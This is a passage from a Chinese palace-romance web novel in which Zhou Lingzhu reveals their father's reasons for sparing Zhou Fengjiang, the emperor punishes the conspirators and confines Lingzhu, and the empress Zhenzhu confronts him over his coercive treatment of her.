“三娘,我从来没有和任何人讲过,其实……周奉疆后来会做的事情,父亲多年前就隐隐预料到了。他竭力想要过阻止,可他就是没有亲自动手杀周奉疆,你猜这是为什么?”
……
媜珠一下从美人榻上坐了起来:“你说什么?”
婈珠微笑:“父亲没有阻止,因为他知道他的儿子比不过他的养子,不是他输了,是他的儿子们输了,他愿赌服输。”
她的视线望向媜珠身后屏风上绣着的牡丹蝴蝶:
“还记得吗?有一年父亲染了时疾,你我同在父亲病榻前侍疾。”
周鼎那时候为什么生病?
在生病前,他曾前往定州伐义武节度使。攻城时,他命养子周奉疆为前锋,先行架云梯爬上定州城墙。
所有人都以为周奉疆会死,但周奉疆活了下来,并且成功地爬上了定州城墙,一臂砍掉了定州军旗。
义武节度使大惊之下中风瘫痪,随后吐血而亡。
死前,他曾留下一句诅咒,他说,周鼎有如此猛将,实则是养虎为患,将来必定会被反噬。
这句话成了周鼎的心魔。
一则,他的确知道周奉疆的过人勇武,当年在收养周奉疆时,他就曾感慨过,说此子没有托生在我周鼎妻妾腹中,非我亲子,实乃我人生大憾啊!
二则,当十数年过去后,他的养子和亲生儿子们都渐渐长大了,他越来越发现自己的亲生儿子们各个全是扶不上墙的酒囊饭袋,毫无枭雄之气,唯有养子越发可见锋芒毕露。
他越来越担心,也越来越恨。
为什么他的亲儿子们各个不中用?为什么最中用的是养子?
起先收养养子,是把养子当做家奴来养,准备把他养熟了之后留给自己的儿子们当做心腹来使唤的。
可等到把养子和儿子们全都养大了,他绝望地发现,自己那群愚蠢的儿子们根本无法驯服这头猛虎,也只有他还活着的时候才能勉强压制这凶兽罢了。
等他一死,这冀州会发生什么事情,还用想吗?
乱世的藩镇里,一年要发生多少起兵变?简直是数不胜数!
但凡有老节度使死了,他的儿子们不中用,压制不住局面,继而被城中将领们兵变夺权的,简直不可胜数!
可周鼎素来骄傲,他从未想过,有朝一日连他也要担心起这样的问题来。
故,从定州回来后,他大病了一场。那不是时疾,那是心病。
是心病啊。
病榻前,有一日婈珠去侍奉父亲服药,父亲心魔太深,昏昏沉沉之下误将她当成了年轻的俪阳公主,把自己的女儿当成了自己母亲年轻的时候,拉着婈珠的手就痛哭了起来。
他是在向自己的母亲寻求慰藉。
他说,若是有一日我死了,我的周家会怎么样?我的儿子们还能压制住来日的局面吗?
我心向中原,欲夺九鼎,我以为我的儿子们可以为我开创万世之基业,可现在我发现,等我死了,我的儿子们,他们十几个人加在一起,守一座冀州城也是难事!
枭雄暮年,此为最悲矣。
婈珠看着父亲的样子,一句话也说不出来。
父亲自顾自地哭诉着,他说,很多次他都想即刻立军令状,将这养子斩了才好,如此他就没有心魔了。
可他又不能这么做。
一则,他心知肚明,他的儿子不成器,和旁人没有任何的关系。这些人不输在周奉疆的手里,以后也会被旁人杀。
二则,杀了周奉疆不仅未必能保住冀州周家的基业,甚至还会输掉冀州城内的百姓。
他要对得起冀州的百姓。
若是他杀了周奉疆,也许等他死后,他的家业还能传给他的儿子们,他不用担心有人从内部夺了周家的权柄。
可这个冀州也还是会被人从外面攻进来的。
边上的那几家节度使,魏州节度使、横海节度使、平卢节度使,谁不是对他们冀州虎视眈眈?
哪怕冀州留给了他的亲儿子,日后冀州被旁人吞并、冀州城破时,遭难的、被屠戮的,还是冀州的百姓啊。
他们周家的家业是靠冀州的百姓撑起来的,是冀州百姓的血汗供起了这个周家。
他是周家家主,可他还是冀州的主人。
他的良心告诉他,他还要给冀州百姓留下一个可用的主帅,要给冀州百姓百年的太平,所以他要留下周奉疆。
所以,最后哭累了的周鼎握住婈珠的手,低声道:
“母亲,儿子已经尽力了。一切认命吧。认命吧。儿子有生之年会再竭尽全力栽培我的儿子们,可他们若真的不中用,以后死在旁人手里,儿子也无可奈何了。这周家的家业,谁能夺去,就让他夺去吧。只要他能给冀州百姓一个太平安宁,儿子便无话可说了。”
婈珠心头大骇。
她端着药碗,默默地退出了父亲的房间。
而那一刻,连带着对赵夫人、周媜珠母女的怨恨,她完全不能理解父亲的惶恐和焦虑。
那个周奉疆,就这么无可替代?
赵夫人养的养子,难道都比父亲的亲儿子强吗?
她不信。
所以,当日后父亲最害怕的事情在他死后还是真的上演了时,唯独婈珠仍旧不服周奉疆。
甚至,她一直觉得她才是周家最有用、最有骨气的儿女,像周芩姬她们越是对着周奉疆奴颜婢膝,她就越觉得这该是自己有气节、替周家人报仇的时候了。
讲到这里,媜珠满脸不可置信地打断了她。
“可是,那父亲死前还是把家业留给了奉鸣的,他若真觉得周奉疆不可替代那为什么还要——”
“那只是试探。”
婈珠道,“父亲留下两份遗愿,一是家业留给庶长子,二是命人赐死赵夫人。他自己心知肚明,这是对周奉疆的试探。
若周奉疆真的能坐视自己养母被杀,说明他愿意屈从周奉鸣,他是一头已经被驯化的畜生,他都愿意去杀自己的养母了,来日便可为周奉鸣所驱驰使唤。
若周奉疆非要护住养母,他只能在父亲死后就立刻兵变夺权,把其余该杀的人都给杀了,这家业当然就归了他的手。那父亲也只能认命。”
婈珠笑了笑,“父亲果真猜中了,他周家的儿子兄弟们死了,可冀州百姓在乱世里却没有遭过罪。改朝换代了一遭,各地各州郡百姓多有流离失所、家破人亡者,唯独冀州百姓未曾受过半分战乱的折磨,一百多年来,在周家的庇佑下安居乐业,丰衣足食。”
“把自己的儿子、兄弟们献祭出去,换冀州城百姓的平安,这买卖划算。如今我也认了。我确实没有再恨周奉疆的理由。连父亲都认了啊。”
婈珠望向媜珠:“本来我不信父亲的话,可现在看看,周家的男人确实没一个靠得住的,就连周奉弘也是个……罢了,不说了。我认命了。我不恨了。我不恨周奉疆了,父亲说的对。——三娘,那你呢?”
“现在你还恨他吗?”
媜珠喃喃自语:“为了活命,这些话,是他教你来告诉我的?”
周婈珠有些薄怒,一下起了身:“我以我生母的名义发誓,我今日对你所言,句句为真,句句真心,绝无半字虚言。我曾经害过你,算我永生永世欠你的。”
她提步向外走去,“我的命不长了,这是我应得的,等我死后,还请你看在骨肉至亲之情上,将我和我生母葬在一处。我记你的恩情,来世为奴为婢伺候你,偿还你的恩情。”
第67章
说到这里,在即将踏出椒房殿时,婈珠还是忍不住又回首望了媜珠一眼:
“从前我恨你,想杀你,只是因为张道恭而已,只是因为我嫉妒你得到他的爱恋与怀念。我曾经在信中痛斥过你、说你委身于周奉疆是不知廉耻云云,其实只是为了刺激你,我心中当真从未这样想过。
即便我过去再厌恶憎恨你,我也清清楚楚地知道,你是无辜的,这一切并不怪你。或许也不怪周奉疆。要怪……只能怪我们的父亲确实没有养育出有用的亲生儿子来。父亲的血脉,祖母俪阳公主的血脉,的确比不过一个娼妓之子。”
这场姐妹之间时隔经年的谈话本该到此为止,但正因婈珠最后的这一回头,她正巧看清了媜珠一直抱在怀里的那只猫儿的正脸。
那只肥嘟嘟的波斯猫灿娘子也竖着猫耳朵,仔细地打量着这位久未谋面的故人。
刹那间,婈珠大脑一僵,试探地唤了它两声“乖猫儿”,灿娘子忽地长长地猫叫了一声,一下从媜珠怀里跳了下去,几步便连蹦带跑地扑到了婈珠的身上,险些把婈珠给扑倒在地。
重回到中原后,她见到了太多的故人,可是没有一个故人能够让她落泪。
唯独这只猫,竟让她真真切切地生出了几分岁月经年、物是人非的沧桑感慨来。
她不禁落泪,连连抚着灿娘子的背:“竟然真是你!你竟还活着!你竟当真还活着!”
媜珠有些不解地看着她和灿娘子:“二姐姐认得这只猫?”
婈珠颔首,又问她:“三娘,你是从何处得了它的?”
媜珠莞尔:“我听说它曾是前楚时洛阳宫中所豢养的猫儿,洛阳城破后,张道恭带着你们出逃,顾不得宫中的那些猫儿狗儿了,这只猫儿便因其名贵,辗转于无数人手中,后来不知是谁献给了……献给了他,他就送给我,说给我在家中养着,打发时日。”
听闻如此,婈珠仰首而笑,泪珠也顺着她的面庞滴落:
“是,是,是前朝宫里的猫,的确就是我认识的乖猫儿。是波斯商人进献的那一只?我知道它,起先它刚进宫时……那时候在洛阳,我见它漂亮,就想求着张道恭把它赏给我养。可惜那时许昭仪与我争宠,知道我想要这猫儿,遂使计先于我之前从张道恭那里索要了来。
可那许昭仪自己又是怕猫的,养了它之后对它也不闻不问,不过是为了和我争风罢了!后来不知怎的,它自己从许昭仪宫里偷跑了出来,又正巧在花苑里被我撞见,我就闷不吭声地把它抱了回来,偷偷养在自己身边。那许昭仪因弄丢了御赐的猫儿,还担惊受怕了好一阵,日日打发宫人出去找呢!我偏不还给她!
直到张道恭弃城而逃的那一日,我仓皇收拾东西跟着他一起走,嘈嘈杂杂之间,他们这才发现这波斯猫竟养在我宫里,气得那许昭仪嘴歪鼻子斜的!哈哈!”
媜珠听着这个故事也微笑起来:“二姐姐还是这般性情。”
婈珠叹息:“可惜逃难时慌慌张张的,好些东西都顾不上,我也和许昭仪一样,把它给弄丢了。乱世里死十万个人都不稀奇,何况是死一只猫。它丢了之后我伤心了许久,今生也从未想过它竟然还能活着,而且还是养在了三娘你的身边。看来我们姐妹当真还是有缘的。”
——“它从前的名字叫什么?”
——“它现在的名字叫什么?”
姐妹二人皆以为此事甚是稀奇唏嘘,嗟叹片刻后,两人异口同声地对着对方问出了两个截然相反的问题。
媜珠问它从前的名字,而婈珠问它现在的名字。
是过去更重要,还是当下更重要?
媜珠顿了顿,又道:“从前二姐姐给它取什么名字?它既还记得二姐姐,定还记得先前的名字。那以后就用二姐姐取的名字好了。”
婈珠回绝了:“不必了,我又不会长久养它,它被三娘你养的肥嘟嘟又活泼可爱,它已是三娘你的猫了。你告诉我你给它取了什么名字,往后我们就叫这个了。”
姐妹俩好一番推脱客气,还是一旁的佩芝跳出来道:“这猫儿如今的名字唤灿娘子,我们陛下和娘娘极宠爱它的。”
婈珠笑:“灿娘子,好,灿娘子是个好名字。它跟着三娘和……跟着你们俩才算享了福了。从前跟我过的算是什么日子?还不是要东躲西藏,做贼一样,我是无颜再自居是它主人了。——灿娘子,去你主子怀里去。”
她俯身将灿娘子放到地上,灿娘子也是毫不留恋地跑回了媜珠身边。
现在于它而言,它更习惯、更喜欢的生活,就是待在这椒房殿里。它并不厌恶婈珠,甚至对她也有几分怀念,但它绝对不会再跟她走,因为它已经有了自己新的生活。
临走前,婈珠又叹息:
“过去不重要了,过去的名字也并不重要。灿娘,你在她身边要好好地,记住你现在的名字就好了。”
这话再度引起了媜珠的追问:“为什么过去的名字不重要?”
婈珠说:“它的过去并不安稳,我也给不了它安稳的日子。”
媜珠静默许久,自嘲一笑:“那我呢?我不过和这猫儿一样,是人豢养的玩物罢了。二姐姐觉得,我过去的名字重要,还是现在的名字重要?我应该是周媜珠,还是他一个人的赵媜珠?”
婈珠毫不犹豫地回答:“姓周还是姓赵,你都是媜珠,你都是你自己,日子是自己的,只要对你来说值得,只要对得起你自己,什么都可以。”
望着她离去的背影,媜珠自嘲一笑。
什么是“自己”?
从出生到现在,她做过一日的自己吗?她不是一直在被人安排、在被人推着走吗?
父亲对她有期望,兄弟姐妹们对她有期望,母亲、周奉疆他们亦是。
只要她有一点的不服从,只要她有一点没有满足别人的要求,换来的就是千夫所指,人人不满。
她从没有真正为自己做过选择,也没有人在意她的选择。
完成了自己向周奉疆提出的交换后,周婈珠再度被人带回宣室殿,向皇帝复命。
对于她今日向媜珠所吐之言,周奉疆尚且是满意的。
至少,这代表着媜珠再也没有任何恨他的理由了。
不论是阻止她嫁给张道恭,还是杀了她的那些所谓亲人,媜珠都没有再恨他、质问他的理由了。
周奉疆命倪常善将一摞厚厚的册子拿给她看,这些皆是长安城中尚且空置的府宅,是天子赏赐宗亲王公们所用的。
婈珠有些惊喜,连手指亦在发颤:“这是……陛下让我拣选……赏赐与我的吗?”
周奉疆颔首:“周淑妃……周二娘子替朕了了一桩心事,朕确实是要厚赏周二娘子一番。”
婈珠被这个巨大的惊喜砸得有些晕头转向,原先她和周奉疆所提出的交换里,周奉疆只答应了会留她一命,也会留段充一命,但是他并未答应许她任何的宗室公主名分和奉养。
她于是兴致勃勃地翻找着这些册子,花费了大半天的时间,终于在这里面挑选了一个自己最为喜欢的府邸。
她跪地而拜:“罪妾谢陛下宽宥,陛下福泽恩厚,妾永生永世感激不尽。”
周奉疆哂笑:“宣和坊里的这处府宅,周二娘子当真挑好了,喜欢么?”
“罪妾喜欢,谢陛下和皇后娘娘的恩泽,妾——”
“好,往后十年,你就在这宅子里禁闭思过吧。十年不得出半步,朕还要你每日手抄佛经三百字为皇后祈福,偿还你的罪孽。十年后,朕要看到你抄完的一百万字佛经,不能有半页纸污损、不能有一字错漏,朕再允你出来继续蹦跶。
——朕会像封颍川公主那般封你为琅琊公主,便是在幽禁之中,朕依然给你公主奉养。朕还会把那个一直跟着你的段充和你一块关进去思过,赎罪。”
——幽禁十年不得出,手抄一百万字。
这一下如晴天霹雳、乐极生悲一般,让周婈珠木然愣在当场。
她甚至不敢相信自己听到了什么,嗫嚅道:“不,不,陛下,不,您答应了我的,您答应我饶我一条……”
“朕是答应你留你一条命,也答应了留段充一条命。可死罪可逃,活罪难免。你犯下极罪,若非朕看在先帝颜面上对你网开一面,你便是有一百条命也不够杀的!”
“你若诚心思过,十年后出来,你就是无罪一身轻的琅琊公主。”
倪常善也是满面笑容地上去给婈珠贺喜:
“奴给琅琊公主请安了。琅琊公主,陛下天恩浩荡,公主为何还不快快谢恩呢?”
婈珠终于平复下了心绪。
十年,十年的禁闭而已,对她来说的确是格外开恩了。她耗得起。
十年之后,她也才三十五岁,还是一个女子的大好年华。
这个年岁的公主,便是想要二嫁、三嫁、重新生育儿女,都不算什么。
往好处想想,即便三十五岁那年才能再度重获自由,她的人生还不算完。
只不过是让她用十年的光阴来为曾经的愚蠢付出代价罢了。
她终于止了哭声,理了理衣衫,再度跪地向龙椅上的帝王大拜下去:
“罪妾叩谢陛下隆恩。妾定会静心思过,虔诚为陛下、娘娘祈福。妾愿折己寿为陛下和娘娘祝祷,祝陛下、娘娘早得龙子,白首偕老。”
皇帝不再看她:“倪常善,送琅琊公主出去。——去刑部的大牢里把那个段充也带出来,关进她宅子里去,供公主驱使。”
这场闹剧的背后没有赢家。
这还已经是在皇帝格外宽宥仁慈的情况下了。
韩孝直之弟韩孝民被判凌迟处死,其妻冯氏被没为奴,他们夫妇二人留下的两个儿子亦被赐自尽。
兄弟二人的母亲大余氏听闻噩耗,一病不起,继而因悲痛过度很快死在了病榻上。
这颍川公主府里那些叫颍川公主看不惯的人都没了,可颍川公主似乎也并未赢了多少。
她虽未被皇帝惩罚牵连,然而她的丈夫却因此丢掉了往后所有的前程。
至少在这件事上,看似无辜的韩孝直仍然担着一个“约束管教兄弟不利”的罪名,没有将他一道视为同犯,已是皇帝看在他昔日的战功上格外留情了。
本来,哪怕他自己没有涉案,他弟弟犯的罪也是足够株连九族的。
没有了官职、权势、地位的驸马,同时又没有家族的依仗,他和一介庶人还有什么区别呢?
区别在于,因为外人都知道他的弟弟犯了谋逆之罪,所以哪怕他本人没有被皇帝处罚,旁人对他们颍川公主府也是避之不及,不愿再搭上什么瓜葛了。往后,他们的儿女想要体面的婚嫁,则更是难上加难。
或许从某种意义上来讲,韩孝直的今日并非完全是被弟弟牵连,他自己在这个家里不清不楚、不明不白的和稀泥的态度,亦是造就这场悲剧的重要原因。
——从一开始,身为儿子、丈夫和兄长,他就没有处理好妻子与养母之间的关系、没有处理好自己和兄弟之间的关系。
最终,在这样的境遇之下,这对夫妻是会彼此谅解宽慰,于平淡中满心知足地度过余生,还是在互相埋怨不满中又会掀起什么别的波澜呢?
眼下是无从得知的。
至于穆王府这边,穆王周奉弘自是免不了一死。
他是被皇帝下令斩首的,并且是在长安的闹市上斩首,开创了本朝以如此极刑处置宗亲皇室的第一例先例。
至于那些和穆王谋逆一案牵涉其中的人,诸如穆王妃的族弟林允升还有那些帮着穆王制作矫诏的人,也是被接连推到闹市上砍了脑袋。
穆王妃的母族林氏一族由此而衰落,从此一蹶不振,渐渐没了声响。
穆王妃本人则被皇帝下令从此幽禁到先帝周鼎的皇陵里,充为劳作的苦役,终身不得出。
穆王留下的子嗣中,他的儿子们皆被赐死,唯独去岁穆王妃刚刚生下的那位小县主被皇帝开恩留了下来,过继到宗室其他郡王名下,交由他们抚养。
最后的亡国之君张道恭,则是按照他前辈们应有的流程捞到了一个被称为“违命侯”的新职位,至此连带着剩余的前楚宗室们被皇帝软禁在了长安的一角,如无意外的话,也是终生不得出的。
事实上来说,周奉疆在此事的处置上已经极为克制。本来,他完全可以杀更多人用来泄愤。
可他到底还是没有。他也累了。
婈珠走后,媜珠又是一个人沉默地在寝殿内静坐了许久。
回宫后,周奉疆待她宽容了许多,他没有再将那金锁链扣在她的脚腕上,也没有再逼着她只着一件纱衣蔽体、以供他玩弄。
回到这她以为自己再也不会回来的宫城里,她仿佛又那样自然而然地做回了“赵皇后”。
后来下午时候倪常善告诉她皇帝对这些人的处置,即便是听到自己弟弟周奉弘将被处死的消息,媜珠面上也并无异常。
不论是自己的姐姐被软禁十年还是自己的弟弟被处死,她都没有任何的异议。
她既没有因为觉得皇帝罚得太重而为这些人求情,也没有因为觉得皇帝罚得太轻而为他们谢恩。
她什么反应也没有。
关于别人的命运,一切皆已尘埃落定。
关于她自己和皇帝的未来,无处去摸清。
倪常善只得讪讪离去,临走前,他还告诉媜珠说:
“陛下说再给娘娘留下三日的时间静一静,三日后,陛下会来椒房殿陪娘娘用晚膳。”
……陪她用晚膳。
直到听到这里时,媜珠才忍不住无声地笑了出来,那是个冰凉的自嘲的笑。
晚膳?用完晚膳之后呢?他还想做什么?
他是奔着做什么来的?
他以为她不知道吗?他以为她还是那么单纯无知吗?
媜珠坐在美人榻上,自始至终没有起身,低头自顾自地摸着灿娘子,又与倪常善说:
“你去告诉他,我不要他陪,我也不要陪他。要么他把我逐出椒房殿,要么只要他敢再踏足此处半步,我就死给他看。”
又是死啊活啊的,又是寻死觅活,还是这一套。
倒是个颇有气节的冷美人,是含霜带刺的花,不能被人轻易亵玩抚弄的花。
倪常善对她这幅样子实在是太熟了,熟悉到他的头脑已经开始胀痛起来。
当年在冀州侯府时,还没失忆的周三娘子就是这么和她兄长闹的。
如今倒好,做了几年的夫妻了,一朝又变回原样,折腾来折腾去,折磨的还是他这把老骨头。
倪常善躬下身子:“陛下说娘娘这会儿肯定还在气头上,所以才要再给娘娘三日的时间冷静,如今看来确实如此。”
“娘娘,陛下知道娘娘会说什么,所以陛下也叫奴有一言转告给娘娘,还请娘娘听罢一定息怒,息怒。”
说到这里时倪常善额前已缀满了汗珠了,想必接下来的话一定不是一般的难听。
媜珠置若罔闻,更没有追问一句“他让你告诉我什么?”。
她不在乎,也不想听。
倪常善只能低声说给佩芝,佩芝方附到媜珠耳边说:
“陛下说了,当年的周三娘子是冰清玉洁、待嫁闺中的女孩儿,陛下不好对她动粗,所以只能任由她寻死觅活。如今的赵皇后,是他的妻子,是他的女人,赵皇后已为人妇多年,若是还敢玩少女时候任性的那一招,陛下自有法子管教。
要么就继续把您用一根金链锁到榻上去,收了您身边的利器锐物,只给您一件薄纱蔽体,再叫嬷嬷们时时刻刻站在您边上盯着您,总归不会叫您轻易死了的。”
媜珠听罢这话先是不可置信地愣了许久,继而立刻脸色大变,一下从美人榻上起了身,指着倪常善哽咽地骂道:
“他、他、他……”
“他何时拿我当过妹妹、当过妻子?他敢这样侮辱我,他还敢用这样的话侮辱我,还要满宫的太监宫人们都去学,人人都能学来说这样的话在我面前侮辱我是不是?我究竟算个什么?我连我怀里的这只猫也不如,我……”
“你们都给我滚出去,滚出去!”
倪常善和佩芝只能连连应是,小心地退了出去。
在回宣室殿复命的路上,倪常善对自己的干儿子倪赐清小声说道:
“看见了?赵皇后闹起来就是这个样子,你现在敢去她身边伺候?你要是能把现在这副模样的赵皇后给伺候好了,来日赵皇后生下嫡子,也活该你受皇后重用信任,被她指派去伺候小太子。哼。”
“也不看看你这三两重的骨头,有没有这个本事。”
对于媜珠会有的这些反应,周奉疆心中早有预料。
故而当他听到倪常善和他讲述媜珠的言辞时,他也没有丝毫怒色。
他不信她会永远想不开。
该和她讲的道理,他都命人掰开了揉碎了讲给她听了,纵使她一时半会或许难以接受,可他也给了她三天的时间让她再冷静冷静了,难道她还会一直钻牛角尖不肯出来?
之后的三日里,皇帝虽不曾留宿椒房殿,但依旧有流水一样的宝贝命人送到皇后跟前去讨皇后欢心。
赵皇后没说要,也没说不要,她连谢恩都没有,一直都是淡淡的,毫无反应,然后由佩芝出面收下,命人收进皇后的库房里。
除却那些虽然极为珍贵但媜珠很少会用到的摆设之外,他竟还别出心裁地送了媜珠一些他自认为极有意义的物件。
比如一只合金纹兽的护心镜,周奉疆不知道从哪把这东西翻了出来,叫人送给媜珠,说,从前在外征战时,他常佩戴此物,此物帮他躲过了无数刀剑之伤,护他周全无虞,现他将这护心镜再赠予她,让她挂在寝殿之内,日夜所照,可庇护她平安无疾。
媜珠仍然毫无反应。
佩芝还在一旁哄她:“这护心镜护的是自己的心肝呢,一日都离不得、伤不得的地方,陛下要护着娘娘,不就是素来都将娘娘视作自己的心尖么?娘娘就算不喜欢,好歹说几句好话,叫倪常善他们好回去复命呀,陛下知道了才会高兴些的。”
她该感动吗?
媜珠冷笑,一言不发。
她会把这东西收在自己的枕下,要是三日后他真的再敢来对她行侮辱之事,她就用这护心镜朝他的头上砸。
三日后的一个傍晚,椒房殿宫人上下在一片忐忑不安的战战兢兢之中准备好了一桌精致的晚膳,小心翼翼地将皇后寝殿内收拾得妥妥当当之后,他们亦是满心发怵地等待着今晚可能发生的事情。
谁也不知道赵皇后到底会是什么反应。
是乖巧地顺从,博君王欢心,从此帝后恩爱如初,再无闲话;
还是她仍旧桀骜不屈,执意触怒君颜,非要和皇帝闹到最后?
周奉疆自己倒觉得媜珠应该是屈服了。
因为他踏入椒房殿之后,媜珠虽然脸色仍是一片冷艳不肯逢迎,可到底没像她三天前说的那样,只要他踏入椒房殿半步她便死给他看。
那这不就是顺从了的意思么?
思及此处,当他的视线落到媜珠那在夏日轻纱宫裙之下饱满起伏的胸前时,不由得一阵口干舌燥。
只是隔着十数步望她一眼,他便似已触到了她雪艳无瑕的柔滑肌肤,嗅到了她身子的馨香之气。她的脸色是冷淡的,像雪山上的一株冰莲,可他知道这株冰莲在吸饱了男人的精气浇灌后,又会何等娇艳动人,媚意横生。
如无意外,晚膳过后,今晚的一切都应是水到渠成的。
第68章
情爱色欲一事上,男人的自以为是和一厢情愿有时往往是超乎寻常人想象的。
哪怕是帝王,也不过还是个肉体凡胎的男人罢了。
正如此刻,倘若媜珠知道周奉疆心中所想的话,她一定会沉默惊愕到无言以对。
毕竟,她全身上下到底那一处地方告诉他、她期待他的到来和临幸?
明知道他还是会过来,哪怕佩芝和几个宫娥再三婉言规劝,媜珠也执意不肯为他梳妆描眉,她今日还故意穿的格外素净,虽然挽了发,可发间也只有两三根银簪和一点不起眼的珠花。
这样的打扮,若非有她的容色撑着,就是放在宫女里头都素得太过了。
可周奉疆似乎并不这么认为。
总归她自己便是美的,这份天然的美丽是否需要外物的妆饰皆无关痛痒,哪怕不施粉黛,她也依然美得出尘,像初夏池塘里一株含苞欲放的藕花,于包裹着它的碧绿的花萼中透着粉嘟嘟的艳色。
纵使媜珠看上去的确还是不太高兴的模样,周奉疆也把这当做她还在闹点小别扭,需要人主动上去哄而已。
见到他过来,她既没有正眼看他,也没有开口叫人,更遑论向他行礼了。
不过这一次他也不以为意,也许是因为他真的太宠溺她,愿意在这些无关痛痒的事情上纵容她任性;也许是忽被美人艳光所诱,心猿意马之下并未在意这点细节。
皇帝的喉结不动声色地滚动了下,他倒并没有一上来就对她凶相毕露,相反,他甚至还颇为温柔地给她送上了礼物。
或许他还将她当成是烂漫天真的小女孩儿,收到一点礼物便会惊喜不已,继而可以任由他想怎样就怎样。
如今是夏日了,到了荔枝成熟的时节了。
盒中有一堆圆滚滚的饱满荔枝静静躺在羊脂白玉的盘中,散发着新鲜清透的果香,连盛放荔枝的木盒也是荔枝木做的,就是为了存住这荔枝的鲜与香,点缀在一旁的几片荔枝叶的颜色都还是透绿的。
倪常善将这盒荔枝捧到媜珠面前,打开给她看。
“陛下总还记得娘娘幼年时的事,记得娘娘那时候才刚周岁,有一日得了两颗荔枝,硬是握在手里握了一个下午,谁来都不给碰,只等到陛下回来时娘娘才松手,要将那荔枝留给陛下所食。这是一生的情意,哪里能说忘就忘了呢?”
他一边替皇帝在这里哄着皇后,一边自己心中也是叫苦连天,只期盼三娘子可千万一定要借着这个台阶下来,千万见好就收,可别再闹了,能使的法子皇帝都在她身上使了一遍了,该哄她的、给她的东西,皇帝也一样没少过她,她可到底还要人如何呢?
在说完这段话后等待着媜珠反应的片刻时间里,倪常善简直是在烈火油锅中七上八下地挣扎煎熬了一圈。
媜珠沉默了下,似乎终于有了些反应。她慢慢地转过了身来,纤细的指轻轻捏起白玉盘中的一颗荔枝,将它取到自己眼前端详了一会儿。
她的神容有几分恍惚和动容,她的眼神还是没有移到周奉疆身上,只看着手中捏着的那颗荔枝缓缓说道:
“过去那十几年来,我在哪件事上不是这样对待兄长的?不论是一颗荔枝、一碟糕点、一盅好汤,只要我觉得好的东西,总想留一份给自己的兄长。兄长和我虽无血脉骨肉之亲,可在我心中,却比我的那些亲兄长们还要亲上无数倍。”
“从前我也待我的那些兄弟姐妹们甚好,是因我自以为自己享受父亲疼宠,分走了旁人的宠爱,我心中有愧,又因父亲的教诲,我时刻谨记着要善待他人,要兄友弟恭、姐妹和睦……可是对我的兄长好这件事没有人教过我,只是因为我太喜欢他,我信任他,敬重他,依赖他,所以我要对他好,我【踏雪独家】将他当做自己和母亲的依靠,我太在乎他。这是不需要旁人约束我、教导我,我便心甘情愿想要去做的事。”
媜珠用这样的姿态和神色来提起往事,在倪常善的眼里,自然是以为她终于肯顺着皇帝给出的这个台阶往下走了。
她这是想通了,妥协了。
周奉疆又何尝不是如此想法?
听到自己心爱的女人如此柔顺地款款和他追忆往事,他脸色愈发温柔下来,提步上前想要将媜珠拥入怀中,甚至已经准备挥退殿内的其他宫人了。
……如果媜珠愿意的话,他们可以等会再用晚膳。今夜的第一次,他不会让她太劳累的,他会对她很好,不会再让她受伤。
当然,她现在要是实在不愿意,他也不会勉强。
然,就在他即将靠近她时,媜珠竟陡然神情大变,一下将手中捏着的那颗荔枝丢到了地上。
她终于转过身用正眼看着他了,眼眶里立时泛起一圈红来,厉声道:
“若我能有重来之日,我一定会收回所有对你的好,这一切于我而言都是不值得的。不论是一颗荔枝、一句关怀问候还是四季的新衣,我一样都不会再为你付出。我对你从未有过不敬,我一直竭我所能的对我的兄长好,可是这些给我换来的是什么?是你一次又一次侮辱我,我连你豢养的兽也不如。你养的鹰隼、猎犬、马匹,你对这些兽类也没有出言凌辱轻贱过的,唯独对我一次次极尽羞辱,你为什么要这样对我?”
嘭。
这声音响在了倪常善的心里。这是他的心塌了。
他就该料到这三娘子绝不会这样轻易服软的,一听她这话,他就猜到今晚肯定还有的闹。
这周三娘子和她二姐姐琅琊公主还真不愧是亲姐妹,发起疯来是一个模子里刻出来的。
倪常善默默地后退了几步,低下了头,尽力减少自己的存在感。
周奉疆拧起了眉。
“收回所有对他的好”,这句话说的实在是太伤人。她总是知道该如何精准无误地朝他心口捅刀子。
他当然也被媜珠突如其来的变脸给弄的一下错愕恼怒起来,等他反应过来后,他遂收了自己面上的温柔,立刻出声训斥她:
“媜媜,朕以为这么多天你也该——”
“我也该怎么?我也该想通了?是,我想通的很,我一切全想明白了,我没有想不通的。你告诉我张道恭的事情,你告诉我我姐姐和周奉弘的事情,你是想和我说什么?你是要告诉我,过去你对我所做的所有事都是对的,是你预料在前,你知道张道恭不是良人,你知道我的兄弟姐妹们不值得我付出,你杀了我的兄长、叔父他们夺权,我也没有恨你的理由,因为连我的父亲也早已预料到此事,为了冀州、为了北地的百姓,他都不愿杀你,更轮不到我对你指手画脚,对不对?”
“哦,还有,是啊,我的母亲、我的外祖赵氏一族从你这里捞得了滔天的富贵和好处,他们拿了你的、欠了你的,也应当由我来卖身还债,是吗?”
周奉疆这会儿已是怒气上涌了,这养不熟的东西果真还没吃够教训,还要和他无休无止地闹起来。
他周身的气息也寒凉了下来,透着凛冽的愠怒之意:
“周媜珠,你还没完没了是吧?你是不是以为我就活该永远惯着你、捧着你?我真是想不明白了,你为什么……你为什么总是要抓着那些旁枝末节的琐事,翻来覆去地借机和我闹?这到底有什么好闹的,有什么好吵的?!”
说完这话后,他自己也觉得声音太高了些,恐怕有些吓到她,让他觉得他是在吼她。
他深深呼出一口气,将拧起的剑眉放下了些许,努力让自己看上去心平气和一些,
“媜媜,我的意思是……你既然已经明白过去我做的事也是为了你好,现在你能想明白了,我们是不是应当和好如初?若是有其他细碎的琐事上你觉得我叫你不高兴了,你可以好好地告诉我,我弥补你,好么?”
这些年因着她的失忆,他用尽心力将她困在自己的掌心中,把她瞒的死死的,生怕她再回忆起往事来,害怕她因为想起往事就从此就和他闹,可那些所谓往事指的到底是什么?
一则是他不让她嫁张道恭的事,二则就是他杀她的亲人夺冀州之权。
这两件事是他们之间最大的分歧和仇怨,过去他一直和她说不清楚,不能得到她的理解和体谅,她一直为这些恨他,所以他只能让她失忆下去。
那现在呢?现在不是都说清楚了吗?她不是也想明白了吗?
那么,为什么他们还是不能回到往日的和睦呢?为什么不能好好地说说话呢?
——这是男人的视角。
反过来,于媜珠而言,他们之间值得争吵的事情还有太多太多。
哪怕去掉那两件事,单从这桩所谓的“婚姻”里而言,她要恨他的还有很多很多。
譬如,他自己服药不让她受孕却又不告诉她,眼睁睁地看着她饱受无法生育的焦虑和折磨。可他一直不曾向她真心实意地道过歉,甚至还自以为是地认为这是他爱她的表现。
